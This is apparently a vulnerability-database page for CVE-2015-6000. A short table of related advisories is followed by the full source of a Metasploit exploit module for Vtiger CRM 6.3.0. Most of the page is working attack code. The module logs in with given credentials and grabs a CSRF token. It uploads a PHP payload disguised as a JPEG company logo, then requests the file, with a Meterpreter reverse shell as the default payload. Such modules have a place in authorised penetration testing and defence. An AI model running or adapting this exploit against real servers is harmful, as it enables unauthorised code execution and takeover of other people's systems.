| Reporter | Title | Published | Views | Family All 20 |
|---|---|---|---|---|
| Vtiger CRM 6.3.0 Authenticated Remote Code Execution | 28 Sep 201500:00 | – | zdt | |
| Vtiger CRM 6.3.0 - Authenticated Arbitrary File Upload Exploit | 31 Mar 201800:00 | – | zdt | |
| Vtiger CRM 6.3.0 Authenticated Logo Upload Remote Command Execution Exploit | 31 Jul 201800:00 | – | zdt | |
| CVE-2015-6000 | 30 Jul 201817:42 | – | circl | |
| vtiger Company Logo Upload Arbitrary Command Execution Vulnerability | 3 Oct 201500:00 | – | cnvd | |
| CVE-2015-6000 | 6 Feb 202013:55 | – | cve | |
| CVE-2015-6000 | 6 Feb 202013:55 | – | cvelist | |
| vTiger File Upload | 26 Feb 201800:00 | – | dsquare | |
| vTiger CRM 6.3.0 - (Authenticated) Remote Code Execution | 28 Sep 201500:00 | – | exploitdb | |
| Vtiger CRM 6.3.0 - (Authenticated) Arbitrary File Upload (Metasploit) | 30 Mar 201800:00 | – | exploitpack |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Vtiger CRM 6.3.0 - Authenticated Arbitrary File Upload',
'Description' => %q{
Vtiger 6.3.0 CRM's administration interface allows for the upload of
a company logo.
Instead of uploading an image, an attacker may choose to upload a
file containing PHP code and
run this code by accessing the resulting PHP file.
This module was tested against vTiger CRM v6.3.0.
},
'Author' =>
[
'Benjamin Daniel Mussler', # Discoverys
'Touhid M.Shaikh <admin[at]touhidshaikh.com>' # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2015-6000'],
['CVE','2016-1713'],
['EDB', '38345']
],
'DefaultOptions' =>
{
'SSL' => false,
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
'Encoder' => 'php/base64'
},
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'vTiger CRM v6.3.0', { } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 28 2015'))
register_options(
[
OptString.new('TARGETURI', [ true, "Base vTiger CRM directory
path", '/']),
OptString.new('USERNAME', [ true, "Username to authenticate
with", 'admin']),
OptString.new('PASSWORD', [ true, "Password to authenticate
with", 'password'])
])
# Some PHP version uses php_short_code=ON
register_advanced_options(
[
OptBool.new('PHPSHORTTAG', [ false, 'Set a short_open_tag
option', false ])
], self.class)
end
def check
res = nil
begin
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path,
'index.php') })
rescue
vprint_error("Unable to access the index.php file")
return CheckCode::Unknown
end
if res and res.code != 200
vprint_error("Error accessing the index.php file")
return CheckCode::Unknown
end
if res.body =~ /<small> Powered by vtiger CRM (.*.0)<\/small>/i
vprint_status("vTiger CRM version: " + $1)
case $1
when '6.3.0'
return Exploit::CheckCode::Vulnerable
else
return CheckCode::Detected
end
end
return CheckCode::Safe
end
# Login Function.
def login
# Dummy Request for grabbing CSRF token and PHPSESSION ID
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vhost' => "#{rhost}:#{rport}",
})
# Grabbing CSRF token from body
/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine
CSRF token") if csrf.nil?
vprint_good("CSRF Token for login: #{csrf}")
# Get Login now.
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vars_get' => {
'module' => 'Users',
'action' => 'Login',
},
'vars_post' => {
'__vtrftk' => csrf,
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
},
})
unless res
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to
Login request")
end
if res.code == 302 &&
res.headers['Location'].include?("index.php?module=Users&parent=Settings&view=SystemSetup")
vprint_good("Authentication successful:
#{datastore['USERNAME']}:#{datastore['PASSWORD']}")
return res.get_cookies
else
fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed
:[ #{datastore['USERNAME']}:#{datastore['PASSWORD']} ]")
return nil
end
end
def exploit
begin
cookie = login
pay_name = rand_text_alpha(rand(5..10)) + ".php"
# Make a payload raw. I added this bcz when i making this module.
server have short_open_tag=ON
vprint_warning("Payload Generate according to
short_open_tag=#{datastore['PHPSHORTTAG']}")
if datastore['PHPSHORTTAG'] == true
stager = '<? '
stager << payload.encode
stager << ' ?>'
else
stager = '<?php '
stager << payload.encode
stager << ' ?>'
end
# Again request for CSRF_token
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vhost' => "#{rhost}:#{rport}",
'cookie' => cookie
})
# Grabbing CSRF token from body
/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine
CSRF token") if csrf.nil?
vprint_good("CSRF Token for Form Upload: #{csrf}")
# Setting Company Form data
post_data = Rex::MIME::Message.new
post_data.add_part(csrf, content_type = nil, transfer_encoding = nil,
content_disposition = "form-data; name=\"__vtrftk\"") # CSRF token
post_data.add_part('Vtiger', content_type = nil, transfer_encoding =
nil, content_disposition = "form-data; name=\"module\"")
post_data.add_part('Settings', content_type = nil, transfer_encoding
= nil, content_disposition = "form-data; name=\"parent\"")
post_data.add_part('CompanyDetailsSave', content_type = nil,
transfer_encoding = nil, content_disposition = "form-data; name=\"action\"")
post_data.add_part(stager, content_type = "image/jpeg",
transfer_encoding = nil, content_disposition = "form-data; name=\"logo\";
filename=\"#{pay_name}\"") #payload Content-type bypass
post_data.add_part('vtiger', content_type = nil, transfer_encoding =
nil, content_disposition = "form-data; name=\"organizationname\"")
post_data.add_part('95, 12th Main Road, 3rd Block, Rajajinagar',
content_type = nil, transfer_encoding = nil, content_disposition =
"form-data; name=\"address\"")
post_data.add_part('Bangalore', content_type = nil, transfer_encoding
= nil, content_disposition = "form-data; name=\"city\"")
post_data.add_part('Karnataka', content_type = nil, transfer_encoding
= nil, content_disposition = "form-data; name=\"state\"")
post_data.add_part('560010', content_type = nil, transfer_encoding =
nil, content_disposition = "form-data; name=\"code\"")
post_data.add_part('India', content_type = nil, transfer_encoding =
nil, content_disposition = "form-data; name=\"country\"")
post_data.add_part('+91 9243602352', content_type = nil,
transfer_encoding = nil, content_disposition = "form-data; name=\"phonxe\"")
post_data.add_part('+91 9243602352', content_type = nil,
transfer_encoding = nil, content_disposition = "form-data; name=\"fax\"")
post_data.add_part('www.touhidshaikh.com', content_type = nil,
transfer_encoding = nil, content_disposition = "form-data;
name=\"website\"")
post_data.add_part('1234-5678-9012', content_type = nil,
transfer_encoding = nil, content_disposition = "form-data; name=\"vatid\"")
post_data.add_part(' ', content_type = nil, transfer_encoding = nil,
content_disposition = "form-data; name=\"saveButton\"")
data = post_data.to_s
print_good("Payload ready for upload : [ #{pay_name} ]")
print_status("Uploading payload..")
# in Company Logo upload our payload.
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vhost' => "#{rhost}:#{rport}",
'cookie' => cookie,
'connection' => 'close',
'headers' => {
'Referer' => "http://
#{rhost}:#{rport}/index.php?parent=Settings&module=Vtiger&view=CompanyDetails",
'Upgrade-Insecure-Requests' => '1',
},
'data' => data,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
})
unless res && res.code == 302
fail_with(Failure::None, "#{peer} - File wasn't uploaded,
aborting!")
end
# Cleanup file.
register_files_for_cleanup(pay_name)
print_status("Executing Payload [
#{rhost}:#{rport}/test/logo/#{pay_name} ]" )
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "test", "logo", pay_name)
})
# If we don't get a 200 when we request our malicious payload, we
suspect
# we don't have a shell, either.
if res && res.code != 200
print_error("Unexpected response, probably the exploit failed")
end
disconnect
end
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation